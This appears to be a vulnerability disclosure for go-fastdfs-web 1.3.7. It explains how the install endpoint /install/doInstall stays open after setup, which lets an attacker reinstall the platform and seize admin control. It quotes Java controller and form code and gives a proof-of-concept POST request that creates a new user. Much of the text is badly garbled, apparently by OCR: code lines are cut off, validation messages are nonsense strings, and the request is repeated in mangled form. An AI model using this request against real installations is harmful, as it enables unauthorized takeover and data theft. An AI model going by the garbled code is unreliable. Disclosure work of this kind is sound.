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go-fastdfs-web

[TYPE]
Unauthorized Takeover Vulnerability

[DESCRIPTION]

A vulnerability classified as a key was found in go-fastdfs-web 1.3.7. This
problem will affect the file
src/main/java/com/perfree/controller/InstallController.java
file/install/dolnstall interface. After the installation of the project, it will not
Due to the deletion of its installation interface and installation route, the
attacker can take over the platform through the second installation and
obtain the system authority of the platform without authorization. The
vulnerability has been disclosed to the public and may be used.

[ANALYZE]

In the src/main/java/com/perfree/controller/InstallController.java file, the
/install/dolnstall interface did not delete its installation interface and
installation route after installation. The attacker can take over the platform
through the second installation and operate on the platform:

o |
eqL E g("/install/doInstall")

an doInstall(@Valid InstallForm installForm, BindingResult bindingResult) {
if(bindingResult.hasErrors()
eturn ResponseBean.fail(Objects.requireNonNull(bindingResult.getFieldError()).getDefaultMessage
0);

s peers = installForm.getPeers();
peersService.save(peers)
er user = installForm.getUser();

user.setPeersId(peers.getId());
f (userService.save(user)) {
return ResponseBean.success("%3

}
eturn ResponseBean.fail

ResponseBean. fail("

And the data of the InstallForm structure has not been strictly verified,
such as whether the server can be reached, whether the mailbox meets
the specifications, etc., resulting in unlimited registration to obtain user
names and passwords and take over the platform:

s InstallForm implements Serializable {

tatic final long serialVersionUID = -6474666305055871893L;
message = "SERBMAEANTHESOFUR") 0
max = 50, message = "SREBMAREAZTHESOFUA")
private String name;
@Size(max =50, message = "HBFNIESOFIUA")
String groupName;
k(message = "SERSHUTEERNTHEL00FAA")
@Size(max = 100, message = "SEEIRSZHUAEENT HE100FIAA")
private String serverAddress;

@Size(max = 100, message = "ihE)ERBNIESOFINA")
private String showAddress;

@NotBlank(message = "MKFAEERZHE3I0FIUA")

@S max = 30, message = "MKFABEATHEIOFUA")
yrivate String account;

@lotBlank(message = RZEBE30FIUA")

@S max = 30, message = BARgEANTHAE3FIUA")
yrivate String password;
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(message =

email;

Then, through the created user login platform, you can obtain user
information, server information and upload deleted files:
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[POC]

POST /install/doInstall HTTP/1.1

Host: 127.0.0.1:8088

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv
Accept: */*

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-U
Accept-Encoding: gzip, deflate, br, zstd

Content-Type: application/x-www-form-urlencoded; charset=UTF
X-Requested-With: XMLHttpRequest

Content-Length: 189

Origin: http://127.0.0.1:8088

Connection: keep-alive

Referer: http://127.0.0.1:8088/install/

Cookie: JSESSIONID=320d33e9-8756-4bbb-83fe-9526baf73d25
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Priority: u=0

Name=demm&name=12w&groupName=groupl&serverAddress=http%3A%2F

lest 833 bytes < BESAE ) nex (XN
POST - /install/doInstall-HTTP/1.1
Host 7 :-127.0.0.1:8088

User-Agent: -Mozi1la/5.0- (Macintosh; - Intel-Mac-05 X-10.15; - rv:142.0) -Gecko/20100101 -Firefox/142.0
Accept: +/%

Accept-Language: -zh-CN, zh; 4=0..8, 2h-TW; 4=0..7, zh-HK; 4=0..5, en-US; 4=0.3, en; 4=0.2
late, -br, -2
e: -application/x-ww-form-urlencoded; - charset=UTF-8

1-With: -XMLHttpRequest
gth 14189
p://127.0.0.1:8088
keep-alive
tp://127.0.0.1:8088/ install/

&group! P 27.0.0. )|
0.0 1=123%409. con
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